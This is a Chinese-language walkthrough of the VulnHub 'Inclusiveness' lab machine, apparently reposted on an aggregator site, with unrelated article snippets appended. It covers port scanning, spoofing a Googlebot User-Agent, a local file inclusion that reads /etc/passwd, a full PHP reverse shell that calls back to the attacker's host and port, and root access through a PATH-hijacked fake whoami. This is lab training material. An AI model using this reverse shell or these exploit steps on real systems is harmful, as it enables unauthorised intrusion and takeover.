实战打靶集锦-38-inclusiveness

news2025/4/6 12:02:28

文章目录

  • 1. 主机发现
  • 2. 端口扫描&服务枚举
  • 3. 服务探查
  • 4.系统提权

靶机地址:https://download.vulnhub.com/inclusiveness/Inclusiveness.ova


1. 主机发现

目前只知道目标靶机在192.168.56.xx网段,通过如下的命令,看看这个网段上在线的主机。

$ nmap -sP 192.168.56.0/24

在这里插入图片描述
锁定靶机IP地址为192.168.56.111。

2. 端口扫描&服务枚举

通过下面的命令进行端口扫描。

$ sudo nmap -p- 192.168.56.111

在这里插入图片描述
开了ftp、ssh、http,枚举一下服务。

$ sudo nmap -p21,22,80 -A -sT -sV 192.168.56.111

在这里插入图片描述
显示的信息不算惊艳,也不算太少。

3. 服务探查

首先看看ftp下有些啥。

$ ftp 192.168.56.111

在这里插入图片描述
root用户不好使,不过anonymous用户和空密码顺利进入,看看都有些啥。
在这里插入图片描述
可惜的是除了一个名为pub的空目录,其它啥都没有,先放一边。然后浏览器看一下http服务。
在这里插入图片描述
又是apache的首页,还是扫描一下(我觉得以后都可以直接扫描了)。
在这里插入图片描述
我们先看看robots.txt。
在这里插入图片描述
没啥内容,不过这个提示语可能有用,暂时不知道这里的搜索引擎指的是啥。看看另一个robots.txt页面。
在这里插入图片描述
这么多的robots相关的,内容是一样的。dirb挂上big字典搜索一下。
在这里插入图片描述
分别由发现了一个php页面,三个html页面,不过进去后没啥新发现。到目前为止,没有啥进展。目前来看有两种可能性,第一是vsftpd 3.0.3版本上是否由漏洞,能够突破进入root用户发现一些内容;第二就是还有些页面我们并没有扫描出来。先看看vsftpd。
在这里插入图片描述
没有合适的漏洞,看来只有可能再次扫描了,可是用尽了各种扫描手法,都没有新的发现。再想想那句话,搜索引擎到底是啥呢,不经意间,在/manual/index.html页面发现了google。

可是,当输入关键字robots进行搜索的时候,是指向google的,我们临时在hosts文件中将google指向靶机地址试试看。
在这里插入图片描述
这时候直接not found了,这条路也堵死了。我们前面扫描了php、html,有没有可能是类似robots的txt页面呢?又或者htm页面,或者shtm等?直接试试吧,把我能想到的类型都放进去(黔驴技穷了)。

$ dirb http://192.168.56.111 /usr/share/wordlists/dirb/big.txt -X .txt,.htm,.shtml,.shtm,.js,.sh,.c,.py

在这里插入图片描述
还真是不少,以后长见识了,搜文件的时候多加几个后缀,速度一点都不会影响多少。不过里面的内容一点都没变,跟之前robots.txt中的一样:You are not a search engine! You can’t read my robots.txt!。这句话仔细品品,我们之前的访问都是通过浏览器访问的,可能导致了靶机认为我不是搜索引擎,只有所有引擎才可以读取robots的内容。我们得想办法让靶机认为我们是搜索引擎,先分析一下我们请求robots.txt的时候burp上抓的流量。
在这里插入图片描述
感觉应该是user agent来决定的。直接搜索各大搜索引擎的UA信息,搜到了一篇比较有价值的文章(https://blog.csdn.net/YLBF_DEV/article/details/136656278),感谢YLBF_DEV大佬。直接用bing和google试一下。
在这里插入图片描述
Bing貌似没有成功,再试试google。
在这里插入图片描述
也没有成功,直接用curl命令指定user agent试试看。

$ curl -A "bingbot" http://192.168.56.111/robots.txt
$ curl -A "Googlebot" http://192.168.56.111/robots.txt

在这里插入图片描述
用google是可以的,先看看这个secret_information下面是些什么。
在这里插入图片描述
有两个超链接,点击看看,没啥特别的,只是语言切换,没有特别发现,挂上burp试试看。
在这里插入图片描述

还是有所发现的,根据之前的经验,直接引用文件,是可能存在本地文件包含的漏洞的,直接将es.php替换成./…/…/…/…/…/…/…/…/…/…/…/etc/passwd,看是否可以打印靶机的passwd文件内容。
在这里插入图片描述
确实可以,一方面验证了文件包含漏洞,另一方面发现了可以shell登录的用户tom。
再回过头来分析,这里虽然可以包含文件,但是目前还没有发现网页上哪里可以上传文件。考虑我们前面发现的FTP,看看是不是anonymous用户可以上传文件。
在这里插入图片描述
这里做了一个名为myfile的文件,里面的内容如上图所示。通过anonymous用户上传到ftp。
在这里插入图片描述
貌似没法上传啊,看看能不能抓到vsftp的配置文件吧,一般为/etc/vsftpd.conf,试试看。
在这里插入图片描述
太好了,这里发现了匿名用户上传文件的路径为/var/ftp,如下图。
在这里插入图片描述
再上传一下试试看。

在这里插入图片描述
上传成功了,看来根目录不能上传,只能上传到pub目录下。这样一来,我们就知道了文件的路径为/var/ftp/pub/,访问一下看看:

http://192.168.56.111/secret_information/?lang=../../../../../../../../../../../../var/ftp/pub/myfile

在这里插入图片描述
顺利获取到了我们的文件,这样我们上传一个反弹shell的php文件,内容这里就不说了,一会儿上代码。
在这里插入图片描述
这次执行,没有response,不过后台执行了php脚本,成功建立了反弹shell,如下图。
在这里插入图片描述
到此为止,顺利进入了靶机,上传一下php脚本的源代码。

<?php

set_time_limit (0);
$VERSION = "1.0";
$ip = '192.168.56.108';  // CHANGE THIS
$port = 4444;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;


if (function_exists('pcntl_fork')) {
	// Fork and have the parent process exit
	$pid = pcntl_fork();
	
	if ($pid == -1) {
		printit("ERROR: Can't fork");
		exit(1);
	}
	
	if ($pid) {
		exit(0);  // Parent exits
	}

	// Make the current process a session leader
	// Will only succeed if we forked
	if (posix_setsid() == -1) {
		printit("Error: Can't setsid()");
		exit(1);
	}

	$daemon = 1;
} else {
	printit("WARNING: Failed to daemonise.  This is quite common and not fatal.");
}

// Change to a safe directory
chdir("/");

// Remove any umask we inherited
umask(0);

//
// Do the reverse shell...
//

// Open reverse connection
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
if (!$sock) {
	printit("$errstr ($errno)");
	exit(1);
}

// Spawn shell process
$descriptorspec = array(
   0 => array("pipe", "r"),  // stdin is a pipe that the child will read from
   1 => array("pipe", "w"),  // stdout is a pipe that the child will write to
   2 => array("pipe", "w")   // stderr is a pipe that the child will write to
);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {
	printit("ERROR: Can't spawn shell");
	exit(1);
}

// Set everything to non-blocking
// Reason: Occsionally reads will block, even though stream_select tells us they won't
stream_set_blocking($pipes[0], 0);
stream_set_blocking($pipes[1], 0);
stream_set_blocking($pipes[2], 0);
stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {
	// Check for end of TCP connection
	if (feof($sock)) {
		printit("ERROR: Shell connection terminated");
		break;
	}

	// Check for end of STDOUT
	if (feof($pipes[1])) {
		printit("ERROR: Shell process terminated");
		break;
	}

	// Wait until a command is end down $sock, or some
	// command output is available on STDOUT or STDERR
	$read_a = array($sock, $pipes[1], $pipes[2]);
	$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

	// If we can read from the TCP socket, send
	// data to process's STDIN
	if (in_array($sock, $read_a)) {
		if ($debug) printit("SOCK READ");
		$input = fread($sock, $chunk_size);
		if ($debug) printit("SOCK: $input");
		fwrite($pipes[0], $input);
	}

	// If we can read from the process's STDOUT
	// send data down tcp connection
	if (in_array($pipes[1], $read_a)) {
		if ($debug) printit("STDOUT READ");
		$input = fread($pipes[1], $chunk_size);
		if ($debug) printit("STDOUT: $input");
		fwrite($sock, $input);
	}

	// If we can read from the process's STDERR
	// send data down tcp connection
	if (in_array($pipes[2], $read_a)) {
		if ($debug) printit("STDERR READ");
		$input = fread($pipes[2], $chunk_size);
		if ($debug) printit("STDERR: $input");
		fwrite($sock, $input);
	}
}

fclose($sock);
fclose($pipes[0]);
fclose($pipes[1]);
fclose($pipes[2]);
proc_close($process);

// Like print, but does nothing if we've daemonised ourself
// (I can't figure out how to redirect STDOUT like a proper daemon)
function printit ($string) {
	if (!$daemon) {
		print "$string\n";
	}
}

?>

4.系统提权

先用python优化一下shell

$ /usr/bin/python3.7 -c "import pty; pty.spawn('/bin/bash')"

在这里插入图片描述
获取一下系统信息。

在这里插入图片描述
64位的debian10,内核版本4.19.67。直接上传并运行一下linpeas脚本。
首先有个PwnKit的提权漏洞。
在这里插入图片描述
直接编译上传试用一下。
在这里插入图片描述
提权失败。其次是发现了两个Unknown SUID binary,如下图。
在这里插入图片描述
我们研究这两个SUID的。首先第一个,需要密码,并且也不太会用。
在这里插入图片描述
第二个比较有意思,不仅有rootshell的可执行文件,还有源代码rootshell.c,看是否能够看到内容,估计是要切换到tom用户才可以。
在这里插入图片描述
确实可以在当前用户下可以看到源代码。逻辑倒是不复杂,不过确实上来先判断是否为tom用户,如果是tom,就可以赋予root。接下来要想办法切换到tom用户。先用弱密码试试,不行爆破。
在这里插入图片描述
可惜爆破了一个小时也没结果,隐隐感觉前面的rootshell里面还隐藏着一些没有意识到的东西,否则出现这个源代码就失去了靶机的尿性。
这个代码里面,判断是否为tom是基于whoami的输出。那有没有可能让whoami造假呢?上网搜一下怎么改写或者替换whoami程序。Kimi给了两种方式,第一种使用别名的方式,可以让whoami的输出变化,如下图。
在这里插入图片描述
我们试一下。

www-data@inclusiveness:/tmp$ alias whoami='echo "tom"'

在这里插入图片描述
哈哈,whoami的输出成功边程了tom,这时候我们回来运行一下那个rootshell程序。
在这里插入图片描述
呀,不能用sudo执行,直接执行试试看。
在这里插入图片描述
嗯,确实可以直接执行,不过虽然打印出来是tom,但是执行程序的时候,还是返回了www-data。看看kimi给的另一种办法。
在这里插入图片描述
因为当前用户没有sudo权限,我们在/tmp下创建一个whoami,内容如下。
然后赋予可执行权限。

www-data@inclusiveness:/tmp$ chmod u+x whoami

执行一下试试看。
在这里插入图片描述
嗯,可以输出tom了,接下来,要让环境变量指向我们的whoami,先看看当前的whoami和当前的环境变量内容。
在这里插入图片描述
临时修改一下环境变量,并测试一下。

www-data@inclusiveness:/tmp$ export PATH=/tmp:$PATH

在这里插入图片描述
再运行一下rootshell。
在这里插入图片描述
这次貌似提权成功了,验证一下,并获取flag。
在这里插入图片描述
确认提权成功,到此结束。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/2329201.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Unhandled exception: org.apache.poi.openxml4j.exceptions.InvalidFormatException

代码在main方法里面没有报错&#xff0c;在Controller里面就报错了。 原来Controller类里面少了行代码 import org.apache.poi.openxml4j.exceptions.InvalidFormatException; 加上去就解决了。

03.unity开发资源 获取

03.unity开发资源 获取 提示&#xff1a;帮帮志会陆续更新非常多的IT技术知识&#xff0c;希望分享的内容对您有用。本章分享的是Python基础语法。前后每一小节的内容是存在的有&#xff1a;学习and理解的关联性&#xff0c;希望对您有用~ unity简介-unity基础 第三节 &#xf…

OpenCV界面编程

《OpenCV计算机视觉开发实践&#xff1a;基于Python&#xff08;人工智能技术丛书&#xff09;》(朱文伟&#xff0c;李建英)【摘要 书评 试读】- 京东图书 OpenCV的Python开发环境搭建(Windows)-CSDN博客 OpenCV也支持有限的界面编程&#xff0c;主要是针对窗口、控件和鼠标…

【leetcode】记录与查找:哈希表的题型分析

前言 &#x1f31f;&#x1f31f;本期讲解关于力扣的几篇题解的详细介绍~~~ &#x1f308;感兴趣的小伙伴看一看小编主页&#xff1a;GGBondlctrl-CSDN博客 &#x1f525; 你的点赞就是小编不断更新的最大动力 &#x1f386;那么废话不…

AntDesign下,Select内嵌Menu标签,做一个多选下拉框,既可以搜索,还可以选择下拉项

话不多说&#xff0c;直接上效果和代码 效果图一&#xff1a; 效果图二&#xff1a; renderAddStyleOption (item: any) > {const { value } this.props;const { currentSelectedOptionIds, currentStyleId } this.state;const styleSettings value?.styleSettings;c…

css炫酷的3D水波纹文字效果实现详解

炫酷的3D水波纹文字效果实现详解 这里写目录标题 炫酷的3D水波纹文字效果实现详解项目概述技术栈核心实现1. 基础布局2. 渐变背景3. 文字效果实现3.1 基础样式3.2 文字漂浮动画 4. 水波纹效果4.1 模糊效果4.2 水波动画 5. 交互效果 技术要点项目难点与解决方案总结 项目概述 在…

P1036 [NOIP 2002 普及组] 选数(DFS)

题目描述 已知 n 个整数 x1​,x2​,⋯,xn​&#xff0c;以及 1 个整数 k&#xff08;k<n&#xff09;。从 n 个整数中任选 k 个整数相加&#xff0c;可分别得到一系列的和。例如当 n4&#xff0c;k3&#xff0c;4 个整数分别为 3,7,12,19 时&#xff0c;可得全部的组合与它…

后端思维之高并发处理方案

前言 在互联网时代&#xff0c;高并发已经成为后端开发者绕不开的话题。无论是电商平台的秒杀活动、抢购系统&#xff0c;还是社交应用的高频互动&#xff0c;高并发场景的出现往往伴随着巨大的技术挑战。 如何在流量激增的同时&#xff0c;确保系统稳定运行、快速响应&#xf…

14.2linux中platform无设备树情况下驱动LED灯(详细编写程序)_csdn

我尽量讲的更详细&#xff0c;为了关注我的粉丝&#xff01;&#xff01;&#xff01; 因为这跟之前的不一样&#xff0c;提出来驱动的分离和分层。 提到驱动分离和分层&#xff0c;必然可以联系上一章咱们知道的驱动-总线-设备。 在无设备树的状态下&#xff0c;必然要写寄存…

K8s的BackUP备份

文章目录 1、kubeadm 安装的单 master 节点数据备份和恢复方式2、Velero 工具3、Velero 服务部署4、备份还原数据 ETCD备份/还原有多种类型&#xff0c;取决于你 k8s 集群的搭建方式 1、kubeadm 安装的单 master 节点数据备份和恢复方式 拷贝 etcdctl 至 master 节点&#xf…

Ruoyi-vue plus 5.2.2 flowble设计流程点击开始流程图错误

网关设置条件或者是事件删除后出现&#xff0c;点击网关节点无法找到下面的事件节点。 配置页面事件错误&#xff0c;点背景配置进去了事件&#xff0c;发现再次加载&#xff0c;或者删除的时候VUE页面无法加载。 解决方式&#xff1a;查看XML文件&#xff0c;这个节点是否存在…

如何快速入门物联网单片机开发?

背景 物联网单片机硬件开发涉及多个阶段&#xff0c;元器件是否“自己设计”取决于具体需求。以下是详细解答和学习方案&#xff1a; 一、元器件是否自己设计&#xff1f; 通用元器件&#xff1a; 大多数情况下&#xff0c;开发者直接使用现成的标准化元器件&#xff08;如电阻…

在 .NET 8 中使用自定义令牌身份验证掌握 SignalR Hub 安全性

最近在练习做一个 Web 开发项目&#xff0c;需要使用 WebSockets 传输数据&#xff0c;实现实时通信。这是一个 React.js 项目&#xff0c;后端是 .NET。 虽然 MSDN 提供了出色的顶级文档&#xff0c;但它通常缺少高级用例所需的低级细节。 一种这样的场景是使用自定义令牌对…

基于springboot+vue的二手车交易系统

开发语言&#xff1a;Java框架&#xff1a;springbootJDK版本&#xff1a;JDK1.8服务器&#xff1a;tomcat7数据库&#xff1a;mysql 5.7&#xff08;一定要5.7版本&#xff09;数据库工具&#xff1a;Navicat11开发软件&#xff1a;eclipse/myeclipse/ideaMaven包&#xff1a;…

React安装使用教程

ReactAnt Designrouteraxios安装完整教程 官网&#xff1a;React Native 中文网 使用React来编写原生应用的框架 一&#xff0c;安装 npx create-react-app my-app npm start npm eject 暴露项目优先提交代码 git add . git commit -m “搭建项目“ 4.yarn add node-sass …

Day20 -自动化信息收集工具--ARL灯塔的部署

准备&#xff1a; 纯净的Docker环境 ARL的包 一、Docker的部署 00x1 更新系统包 sudo apt update 00x2 安装必要的依赖包 sudo apt install -y apt-transport-https ca-certificates curl software-properties-common 00x3 下载docker和docker-compose apt-get install do…

精品可编辑PPT | “新基建”在数字化智慧高速公路中的支撑应用方案智慧建筑智慧交通解决方案施工行业解决方案

本文详细阐述了“新基建”在数字化智慧高速公路中的支撑应用方案&#xff0c;从政策背景出发&#xff0c;指出国家在交通领域的一系列发展规划和指导意见&#xff0c;强调了智慧交通建设的重要性。分析了当前高速公路存在的问题&#xff0c;如基础感知设施不足、协同水平低、服…

【瑞萨 RA-Eco-RA2E1-48PIN-V1.0 开发板测评】PWM

【瑞萨 RA-Eco-RA2E1-48PIN-V1.0 开发板测评】PWM 本文介绍了瑞萨 RA2E1 开发板使用内置时钟和定时器实现 PWM 输出以及呼吸灯的项目设计。 项目介绍 介绍了 PWM 和 RA2E1 的 PWM 资源。 PWM 脉冲宽度调制&#xff08;Pulse Width Modulation, PWM&#xff09;是一种对模拟…

数据流和重定向

1、数据流 不管正确或错误的数据都是默认输出到屏幕上&#xff0c;所以屏幕是混乱的。所以就需要用数据流重定向将这两 条数据分开。数据流重定向可以将标准输出和标准错误输出分别传送到其他的文件或设备去 标准输入&#xff08;standard input&#xff0c;简称stdin&#xff…

【GPT入门】第33 课 一文吃透 LangChain:chain 结合 with_fallbacks ([]) 的实战指南

[TOC](【GPT入门】第33课 一文吃透 LangChain&#xff1a;chain 结合 with_fallbacks ([]) 的实战指南) 1. fallback概述 模型回退&#xff0c;可以设置在llm上&#xff0c;也可以设置在chain上&#xff0c;都带有with_fallbacks([])函数 2. llm的回退 2.1 代码 核心代码&…